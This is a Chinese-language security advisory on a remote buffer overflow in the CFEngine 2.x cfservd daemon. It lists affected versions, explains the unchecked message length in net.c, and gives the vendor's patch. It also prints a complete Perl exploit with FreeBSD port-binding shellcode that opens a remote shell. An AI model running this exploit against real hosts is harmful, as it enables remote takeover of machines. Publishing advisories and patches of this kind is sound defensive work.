安全研究

安全漏洞
CFEngine CFServD事务处理包远程缓冲区溢出漏洞

发布日期:2003-09-25
更新日期:2003-10-08

受影响系统:
GNU Cfengine 2.1.0a9
GNU Cfengine 2.1.0a8
GNU Cfengine 2.1.0a6
GNU Cfengine 2.0.7p3
GNU Cfengine 2.0.7p2
GNU Cfengine 2.0.7p1
GNU Cfengine 2.0.7
GNU Cfengine 2.0.6
GNU Cfengine 2.0.5pre2
GNU Cfengine 2.0.5pre
GNU Cfengine 2.0.5b1
GNU Cfengine 2.0.5
GNU Cfengine 2.0.4
GNU Cfengine 2.0.3
GNU Cfengine 2.0.2
GNU Cfengine 2.0.1
GNU Cfengine 2.0.0
不受影响系统:
GNU Cfengine 2.0.8p1
GNU Cfengine 2.0.8
GNU Cfengine 1.6a11
GNU Cfengine 1.6a10
GNU Cfengine 1.5.3-4
描述:
BUGTRAQ  ID: 8699

Cfengine是一款能自动对大型网络进行配置和维护的工具。

Cfengine包含的cfservd守护进程对事务包处理不正确,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以cfservd进程权限在系统上执行任意指令。

问题存在于Cfengine 2.x上的网络I/O代码,Cfengine 2通过重设计严格的通信协议提供强壮的客户端验证,不过新的代码中对输入缓冲区缺少正确的检查,在cfservd.c中的BusyWithConnection()函数中,recvbuffer[](4096字节堆栈缓冲区)传递给net.c中的ReceiveTransaction(),ReceiveTransaction()然后从TCP套接口中读取消息长度,并传递给RecvSocketStream()缓冲区和长度数据,如果长度超过4096字节,BusyWithConnection()就会发生缓冲区溢出,返回地址被覆盖。由于问题发生在ACL源地址检查之后,因此攻击者必须通过合法主机或者伪造主机进行攻击。

<*来源:Nick Cleaton
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106451047819552&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

eSDee提供了如下测试方法:

#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE

use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89".
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50".
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80".
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f".
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b".
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80".
"\xeb\x9a";


$buf = $nop x 2222 . $shellcode . $ret x 500;

$socket = new IO::Socket::INET (
Proto  => "tcp",
PeerAddr => $host,
PeerPort => $port,
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

sleep(1); #you might have to adjust this on slow connections
print $socket $buf;

close($socket);

建议:
厂商补丁:

GNU
---
cfengine versions 2.0.8/2.0.8p1已经修正此漏洞:

http://www.cfengine.org

针对2.0.7p3系统的补丁可采用如下程序:

--- cfengine-2.0.7p3/src/net.c    Wed Apr 23 21:48:13 2003
+++ cfengine-2.0.8p1/src/net.c    Tue Sep  9 08:38:55 2003
@@ -89,7 +89,7 @@

{ char proto[9];
   char status;
-  unsigned int len;
+  unsigned int len = 0;
  
bzero(proto,9);

@@ -101,6 +101,13 @@
sscanf(proto,"%c %u",&status,&len);
Debug("Transaction Receive [%s][%s]\n",proto,proto+8);

+if (len > bufsize - 8)
+   {
+   snprintf(OUTPUT,bufsize,"Bad transaction packet -- too long (%c %d) Proto = %s
",status,len,proto);
+   CfLog(cferror,OUTPUT,"");
+   return -1;
+   }
+
if (strncmp(proto,"CAUTH",5) == 0)
    {
    Debug("Version 1 protocol connection attempted - no you don't!!\n");
@@ -132,6 +139,12 @@

Debug("RecvSocketStream(%d)\n",toget);

+if (toget > bufsize)
+   {
+   CfLog(cferror,"Bad software request for overfull buffer","");
+   return -1;
+   }
+
for (already = 0; already != toget; already += got)
    {
    got = recv(sd,buffer+already,toget-already,0);
@@ -144,7 +157,7 @@
  
    if (got == 0)   /* doesn't happen unless sock is closed */
       {
-      Debug("Transmission empty...\n");
+      Debug("Transmission empty or timed out...\n");
       fraction = 0;
       return already;
       }
@@ -178,6 +191,8 @@

do
    {
+   Debug("Attempting to send %d bytes\n",tosend-already);
+
    sent=send(sd,buffer+already,tosend-already,flags);
    
    switch(sent)
@@ -191,6 +206,7 @@
      break;
       }
    }
+
while(already < tosend);

return already;

浏览次数:2774
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障